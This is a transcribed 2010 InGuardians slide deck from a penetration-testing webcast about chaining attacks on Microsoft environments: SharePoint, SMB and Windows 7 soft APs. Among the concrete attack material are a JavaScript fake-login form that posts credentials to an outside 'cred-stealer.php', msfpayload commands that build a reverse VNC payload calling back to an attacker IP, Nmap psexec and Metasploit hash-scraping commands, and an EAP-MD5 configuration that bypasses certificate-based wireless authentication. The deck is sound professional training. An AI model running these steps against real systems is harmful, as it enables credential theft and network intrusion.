The Pen Test Perfect Storm: We Love Microsoft! Pen Test Techniques Part 4

Similar documents
The Pen Test Perfect Storm: Combining Network, Web App, and Wireless Pen Test Techniques Part 2

The Pen Test Perfect Storm: Combining Network, Web App, and Wireless Pen Test Techniques Part 2

Pen Testing Perfect Storm Part , InGuardians 1

The Pen Test Perfect Storm Part 5: We Love Adobe!

How We're Getting Creamed

How To Hack A Network With A Network Security Attack On A Web Browser (For A Free Download) (For Free) ( For A Free) On A Network) (On A Free Downloaded) (Or For A Paid Download) On An Ip

Penetration Testing Ninjitsu 2: Crouching Netcat, Hidden Vulnerabilities. By Ed Skoudis

AUTHOR CONTACT DETAILS

Penetration Testing Walkthrough

1. LAB SNIFFING LAB ID: 10

Automation of Post-Exploitation

STABLE & SECURE BANK lab writeup. Page 1 of 21

How to hack a website with Metasploit

Penetration Testing with Kali Linux

Vulnerability Assessment and Penetration Testing

Exploiting Transparent User Identification Systems

Penetration Testing Report Client: Business Solutions June 15 th 2015

Learn Ethical Hacking, Become a Pentester

Network Penetration Testing and Ethical Hacking Scanning/Penetration Testing. SANS Security Sans Mentor: Daryl Fallin

Pwning Intranets with HTML5

Real World Web Service Testing For Web Hackers

Automated Penetration Testing with the Metasploit Framework. NEO Information Security Forum March 19, 2008

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

WHITEPAPER. Nessus Exploit Integration

Metasploit Lab: Attacking Windows XP and Linux Targets

Advanced Web Security, Lab

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Course Duration: 80Hrs. Course Fee: INR (Certification Lab Exam Cost 2 Attempts)

Penetration Testing - a way for improving our cyber security

Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.

Metasploit ing the target machine is a fascinating subject to all security professionals. The rich list of exploit codes and other handy modules of

The Top Web Application Attacks: Are you vulnerable?

Workshop. From XSS to Domain Admin. Black Hat Sessions 18 juni 2015 Jordy Kersten - Mandy van Oosterhout - Ward Wouts

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Kautilya: Teensy beyond shells

Armitage. Part 1. Author : r45c4l Mail : infosecpirate@gmail.com.

Pentesting for fun... and profit! David M. N. Bryan and Rob Havelt

COURSE NAME: INFORMATION SECURITY INTERNSHIP PROGRAM

Metasploit Beginners

Lab 7 - Exploitation 1. NCS 430 Penetration Testing Lab 7 Sunday, March 29, 2015 John Salamy

Penetration Testing: Lessons from the Field

Anatomy of an ethical penetration test

Vulnerability analysis

Contents Who Should Read this Book... 3 Credits:... 3 Introduction and background... 3 Lab Setup... 3 A primer on windows user privileges...

Internal Penetration Test

Mass Pwnage 4 Dummies. Latest pen-testing tricks using Metasploit

Metasploit Framework Unleashed beyond Metasploit

The Pen Test Perfect Storm: We Love Cisco! Pen Test Techniques Part 6

Application security testing: Protecting your application and data

CRYPTUS DIPLOMA IN IT SECURITY

SECUREIT.CO.IL. Tutorial. NetCat. Security Through Hacking. NetCat Tutorial. Straight forward, no nonsense Security tool Tutorials

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

CIT 480: Securing Computer Systems. Vulnerability Scanning and Exploitation Frameworks

FIREWALLS & NETWORK SECURITY with Intrusion Detection and VPNs, 2 nd ed. Chapter 4 Finding Network Vulnerabilities

Maintaining Access CHAPTER 10 CHAPTER OVERVIEW AND KEY LEARNING POINTS INTRODUCTION INFORMATION IN THIS CHAPTER

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

DropSmack: How cloud synchronization services render your corporate firewall worthless

NCS 430 Penetration Testing Lab #2 Tuesday, February 10, 2015 John Salamy

Lab 12: Mitigation and Deterrent Techniques - Anti-Forensic

Rational AppScan & Ounce Products

INDUSTRIAL CONTROL SYSTEMS CYBER SECURITY DEMONSTRATION

Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group

Why Penetration Testing and Windows Command Line Ninjitsu for Pen Testers. By Ed Skoudis. Copyright 2008, SANS Version 1Q08

Zen and the Art Of An Internal Penetration Testing Program

Zen and the Art Of An Internal Penetration Testing Program

Security Threat Kill Chain What log data would you need to identify an APT and perform forensic analysis?

The Nexpose Expert System

Hacking Intranet Websites from the Outside (Take 2) Fun With & Without JavaScript Malware

How To Use Powerhell For Security Research

EXTRA. Vulnerability scanners are indispensable both VULNERABILITY SCANNER

ETHICAL HACKING APPLICATIO WIRELESS110 00NETWORK APPLICATION MOBILE MOBILE0001

Penetration Testing Using The Kill Chain Methodology

Using Nessus In Web Application Vulnerability Assessments

Black Box Penetration Testing For GPEN.KM V1.0 Month dd "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383;!

Ethical Hacking as a Professional Penetration Testing Technique

Five Steps to Improve Internal Network Security. Chattanooga ISSA

What is Web Security? Motivation

Configuring MailArchiva with Insight Server

6WRUP:DWFK. Policies for Dedicated SQL Servers Group

On-boarding and Provisioning with Cisco Identity Services Engine

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Thick Client Application Security

Firewalls and Software Updates

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

Ethical Hacking Course Layout

MITB Grabbing Login Credentials

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

The Social-Engineer Toolkit (SET)

Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins

Complete Cross-site Scripting Walkthrough

I Hunt Penetration Testers!

Open Source Toolkit. Penetration Tester's. Jeremy Faircloth. Third Edition. Fryer, Neil. Technical Editor SYNGRESS. Syngrcss is an imprint of Elsevier

SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting

ABC LTD EXTERNAL WEBSITE AND INFRASTRUCTURE IT HEALTH CHECK (ITHC) / PENETRATION TEST

Transcription:

The Pen Test Perfect Storm: We Love Microsoft! Pen Test Techniques Part 4 By Ed Skoudis, Kevin Johnson, & Joshua Wright of InGuardians Hosted by Mike Yaffe of Core Copyright 2010, All Rights Reserved Version 0.2 Pen Test Perfect Storm Part 4-2010, InGuardians 1

Outline The Power of Combined Attacks Web App Attack Tools and Techniques Network Attack Tools and Techniques Wireless Attack Tools and Techniques Combining It All Together A Scenario Conclusions and Q&A Pen Test Perfect Storm Part 4-2010, InGuardians 2

Previously on Lost To recap, in Parts 1-3 of this trilogy, we discussed how penetration tests and testers are categorized: 1) Network tests 2) Web application tests 3) Wireless tests 4) Others, but those are the biggies We also proposed that if you want to be a great pen tester make sure you can pivot between network pen tests, web app tests, and wireless pen tests Furthermore, integrate these attack vectors together into a much more powerful combined attack To procure great pen tests, specify combined tests Pen Test Perfect Storm Part 4-2010, InGuardians 3

Part 4? Wasn't That a Trilogy? Yes, yes it was. This is like The Naked Gun, 33 1/3. We feel the topic of combined pen tests is an important one Plus, we have a lot of fun doing these We thought it would be interesting to get vendorspecific Bringing you another set of focused, practical webcasts on combined pen testing We Love Microsoft! * * It's true. We We Love Cisco! * We Love Adobe! really, really do. * Pen Test Perfect Storm Part 4-2010, InGuardians 4

Today s Focus Continue the concept of combined testing, focusing on the great features of Microsoft products To illustrate the pragmatic and iterative nature of combined tests, we ll alter the order this time: 1) Web App attack SharePoint, pivoting, and browser exploitation 2) Network exploitation Target enumeration, wide-scale enterprise credential exploitation, extreme data pillaging 3) Wireless attack Network Access, RADIUS, & Soft APs Pen Test Perfect Storm Part 4-2010, InGuardians 5

Outline The Power of Combined Attacks Web App Attack Tools and Techniques Network Attack Tools and Techniques Wireless Attack Tools and Techniques Combining It All Together A Scenario Conclusions and Q&A Pen Test Perfect Storm Part 4-2010, InGuardians 6

IIS Information Disclosure Information has always been a problem with web servers Example pages Directory browsing Documentation Error messages Administrative consoles Of course, web servers have flaws that leak information IIS 6 discloses the internal IP address Fixed in KB 834141 Pen Test Perfect Storm Part 4-2010, InGuardians 7

SharePoint Information Disclosure SharePoint is a "simple, highly reliable collaboration platform" According to Microsoft's web site According to us, SharePoint is a treasure trove of information and fun! By default SharePoint displays: Users and profiles from the Active Directory of the target Organization charts What content is available Even if we do not have access to it! Pen Test Perfect Storm Part 4-2010, InGuardians 8

SharePoint XSS? Keep in mind that SharePoint is designed for SHARING! It allows users to upload content Including HTML files with JavaScript! The files are served from the SharePoint server This means Same-Origin is not broken Our JavaScript can interact with the SharePoint pages One fun attack is to insert JavaScript that displays a log-in Steal credentials from other users document.write("<form method='get' action="inguardians.com/cred-stealer.php'> Username: <input type='text' name='name'><br> Password:<input type='text' name='password'> <input type='submit'></form>"); Pen Test Perfect Storm Part 4-2010, InGuardians 9

BeEF and Metasploit Remember our favorite XSS framework? BeEF by Wade Alcorn http://portswigger.net New versions support integration with Metasploit This allows for client exploitation delivered via the zombie hook We can inject the BeEF hook as part of HTML uploaded to SharePoint We can choose an exploit based on the client Or launch browser AutoPwn Not classy or subtle ;-) Pen Test Perfect Storm Part 4-2010, InGuardians 10

Outline The Power of Combined Attacks Web App Attack Tools and Techniques Network Attack Tools and Techniques Wireless Attack Tools and Techniques Combining It All Together A Scenario Conclusions and Q&A Pen Test Perfect Storm Part 4-2010, InGuardians 11

Network Stuff: Finding s Let's look at some tools and techniques a pen tester can use to pivot mercilessly around a target dows environment Suppose a pen tester finds him or herself with shell access to a compromised dows client machine What now? Let's find dows servers, for which we may have credentials! C:\> netstat -na find ":445" TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 10.1.1.252:1758 10.10.19.137:445 ESTABLISHED TCP 10.1.1.252:1782 10.42.1.12:445 ESTABLISHED UDP 0.0.0.0:445 *:* C:\> C:\> wmic logicaldisk get caption,description,providername Caption Description ProviderName C: Local Fixed Disk D: CD-ROM Disc USB Token! E: Removable Disk Y: Network Connection \\10.10.19.137\server Z: Network Connection \\10.42.1.12\share Juicy servers! Somebody appears to be using SMB! Pen Test Perfect Storm Part 4-2010, InGuardians 12

Network Stuff: Finding MORE s That's nice and we can jump to those mounted shares But, how can we find MORE target dows servers, for which we have admin credentials across a large enterprise? The Nmap Scripting Engine, with Ron Bowes' SMB scripts, is your friend! First, dump credentials of your currently logged in user Metasploit Meterpreter hashdump, fgdump, pwdump7, or whosthere.exe from Core Then, run Nmap to scan through target IP address space, trying to invoke the smb-psexec.nse script against targets C:\> nmap --script smb-psexec.nse --scriptargs=smbuser=<username>,smbhash=<password>,config=<co nfig> -p 445 <TargetIPaddrRange> The config file contains the command(s) you want to execute, such as "hostname", "ipconfig", or even "fgdump" (with upload) Details available at http://nmap.org/nsedoc/scripts/smb-psexec.html If you get command output, you have admin credentials for that host Pen Test Perfect Storm Part 4-2010, InGuardians 13

Network Stuff: Auto-Pillaging with Metepreter Once you've found targets where you have good credentials, you can exploit them using Metasploit (of course) Then pillage again But wouldn't it be cool if you could automatically pillage the target, pulling back all kinds of good stuff from it? Choose an exploit of exploit/windows/smb/psexec Choose a payload of the Meterpreter (such as windows/meterpreter/reverse_tcp) Now fortified with with 100% more Then, set an autorun script for the Meterpreter: msf > set AutoRunScript scraper.rb Set options (RHOST, ports, etc.) and exploit The scraper script pulls: Users, Groups, Shares, Netstat info, Network neighborhood Services, Environment vars, Shares, and HASHES! All data stored in ~/.msf3/logs/scraper/<ipaddr><date&time>/ All automatically! A beautiful piece of automation We love dows! Pen Test Perfect Storm Part 4-2010, InGuardians 14

Outline The Power of Combined Attacks Web App Attack Tools and Techniques Network Attack Tools and Techniques Wireless Attack Tools and Techniques Combining It All Together A Scenario Conclusions and Q&A Pen Test Perfect Storm Part 4-2010, InGuardians 15

EAP/TLS and dows IAS EAP/TLS requires certificates for device authentication Secure option for many organizations Even compromised credentials do not yield attacker access to WLAN dows IAS includes EAP/TLS support Common path for organizations with 2K3 IAS also includes EAP-MD5 support, on by default AP does not differentiate between EAP types Solely client and RADIUS configuration Attacker with credentials can authenticate over WLAN using EAP- MD5, bypassing certificate requirements in EAP/TLS Common configuration mistake in high-security EAP/TLS environments, bypassing certificate need to gain network admission. Pen Test Perfect Storm Part 4-2010, InGuardians 16

Using EAP-MD5 Over Wireless No native supplicant support in XP/Vista/7 for EAP-MD5 Linux/OSX, no problem! 2K8/NPS supersedes IAS, no EAP-MD5 support $ cat >wpa_supplicant.conf network={ ssid="securetargetssid" scan_ssid=1 key_mgmt=ieee8021x eap=md5 identity="user" password="password" eapol_flags=0 } ^D $ sudo wpa_supplicant i wlan0 \ c wpa_supplicant.conf D $ dhcpcd d wlan0... Pen Test Perfect Storm Part 4-2010, InGuardians 17

dows 7 Soft AP Vista included complete wireless stack re-write We got lots of cool tools from that! 7 includes built-in soft AP WPA2-PSK/CCMP only Can share wired or wireless with Internet Connection Sharing Requires administrator access on target Also available in 2K8 R2 with the WLAN Service Pen Test Perfect Storm Part 4-2010, InGuardians 18

Wireless Hosted Interface Network Sharing 1 $./msfpayload windows/vncinject/reverse_tcp LHOST=ATT.AC.KER.IP LPORT=443 X >reversevnc.exe $ sudo./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=0.0.0.0 LPORT=443 DisableCourtesyShell=TRUE AUTOVNC=0 E 4 2 Transfer reverse-vnc.exe to victim, execute. 3 Pen Test Perfect Storm Part 4-2010, InGuardians 19

Outline The Power of Combined Attacks Web App Attack Tools and Techniques Network Attack Tools and Techniques Wireless Attack Tools and Techniques Combining It All Together A Scenario Conclusions and Q&A Pen Test Perfect Storm Part 4-2010, InGuardians 20

Scenario: Start with Info Gathering from SharePoint Pen Tester's BeEF Controller & Metasploit SharePoint Internet Target Network Pen Tester 1 Interact with SharePoint server to gather info: Internal IPaddrs and user/group info from AD Firewall Infrastructure dows 7 with vulnerable client software Client Pen Test Perfect Storm Part 4-2010, InGuardians 21

Scenario: Start with Info Gathering from SharePoint Pen Tester's BeEF Controller & Metasploit SharePoint Internet Target Network Pen Tester 2 Discover SharePoint location to upload content. Push HTML content with JavaScript BeEF hook Firewall Infrastructure Admin surfs to SharePoint page to look at new content 3 dows 7 with vulnerable client software Client Pen Test Perfect Storm Part 4-2010, InGuardians 22

Scenario: Start with Info Gathering from SharePoint Pen Tester's BeEF Controller & Metasploit SharePoint Internet Target Network Pen Tester Firewall Infrastructure BeEF hook runs & zombifies browser, reporting back to BeEF controller 4 dows 7 with vulnerable client software Client Pen Test Perfect Storm Part 4-2010, InGuardians 23

Scenario: Start with Info Gathering from SharePoint Pen Tester's BeEF Controller & Metasploit 5 BeEF autorun action tells browser to access Metasploit server Internet SharePoint Target Network Pen Tester Firewall Infrastructure 6 Browser fetches client-side exploit from Metasploit server, with Meterpreter payload dows 7 with vulnerable client software Client Pen Test Perfect Storm Part 4-2010, InGuardians 24

Scenario: Start with Info Gathering from SharePoint Pen Tester's BeEF Controller & Metasploit SharePoint Internet Target Network Pen Tester Firewall Infrastructure Gain reverse Meterpeter access & use it to perform hashdump Also launch cmd.exe shell with "shell" command 7 dows 7 with vulnerable client software Client Pen Test Perfect Storm Part 4-2010, InGuardians 25

Scenario: Start with Info Gathering from SharePoint Pen Tester's BeEF Controller & Metasploit Internet SharePoint Run "netstat" and "wmic logicaldisk" to find some dows servers via SMB connections & mounted shares 8 Target Network Pen Tester Firewall Infrastructure Turn 7 box into soft AP with wireless SSID of "Mike Yaffe Rulez!" and activate Internet Connection Sharing 9 dows 7 with vulnerable client software Client Pen Test Perfect Storm Part 4-2010, InGuardians 26

Scenario: Start with Info Gathering from SharePoint Pen Tester's BeEF Controller & Metasploit SharePoint Internet Use Nmap smb-psexec script with dumped hashes to scan for other targets where credentials offer Firewall admin access Infrastructure 11 Target Network Client Pen Tester Move closer to target for reliable wireless access 10 Pen Tester dows 7 with vulnerable client software Pen Test Perfect Storm Part 4-2010, InGuardians 27

Scenario: Start with Info Gathering from SharePoint Pen Tester's BeEF Controller & Metasploit SharePoint Internet Use Metasploit psexec with Meterpreter payload to autorun scraper Firewall script, grabbing detailed Infrastructure information from each target 12 Target Network Client Pen Tester Pen Tester dows 7 with vulnerable client software Pen Test Perfect Storm Part 4-2010, InGuardians 28

Scenario: Start with Info Gathering from SharePoint Pen Tester's BeEF Controller & Metasploit SharePoint Internet Pillage and plunder analyze business Firewall risk Infrastructure write report 13 Target Network Client Pen Tester Pen Tester dows 7 with vulnerable client software Pen Test Perfect Storm Part 4-2010, InGuardians 29

Outline The Power of Combined Attacks Web App Attack Tools and Techniques Network Attack Tools and Techniques Wireless Attack Tools and Techniques Combining It All Together A Scenario Conclusions and Q&A Pen Test Perfect Storm Part 4-2010, InGuardians 30

Conclusions Combined attack vectors allow for far deeper penetration into most target networks than separate vectors allow Combined pen testing more accurately reflects an attacker's ability to exploit the network and systems Microsoft-centric capabilities create attacker opportunities We ve looked at useful features of Metasploit, Nmap, dows 7, BeEF, and more Integrating these tools for powerful attacks beyond each tool's individual capabilities In Part V of this webcast trilogy, we ll look at additional attack vectors with another vendor-specific focus Pen Test Perfect Storm Part 4-2010, InGuardians 31

Upcoming In-Depth SANS Pen Test Courses SANS 560: Network Pen Testing and Ethical Hacking Baltimore, June 7: Skoudis Denver, July 12: Strand Virginia Beach, August 29: Strand vlive!, Aug 10 Sep 16, Skoudis/Strand SANS 542: Web App Pen Testing and Ethical Hacking Baltimore, June 7: Johnson Boston, Aug 2: Baccam London, May 10: Siles vlive!, June 21 July 28: Johnson/Misenar SANS 617:Wireless Ethical Hacking, Pen Testing, & Defenses Sam Diego, May 13: Wright Baltimore, June 7: Wright vlive!, May 19 Aug 4: Wright vlive! 10% discount code "CORE10" for 560, 542 or 617 Pen Test Perfect Storm Part 4-2010, InGuardians 32

Penetration Testing Summit: PLEASE JOIN US! June 14 & 15, Baltimore Come listen to some of the best penetration testers in the world share their strategies, tactics, tools, and insights Each talk carefully vetted to make sure it gives you techniques and ideas you can directly apply in your own testing regimen Right after SANS FIRE! Much to learn & lots of fun Register now at www.sans.org/pen-testing-summit-2010 Speakers include: HD Moore, Josh Wright, Jeremiah Grossman, Jabra, Ed Skoudis, & many more JUST ADDED DAN KAMINSKY! And now Q & A Pen Test Perfect Storm Part 4-2010, InGuardians 33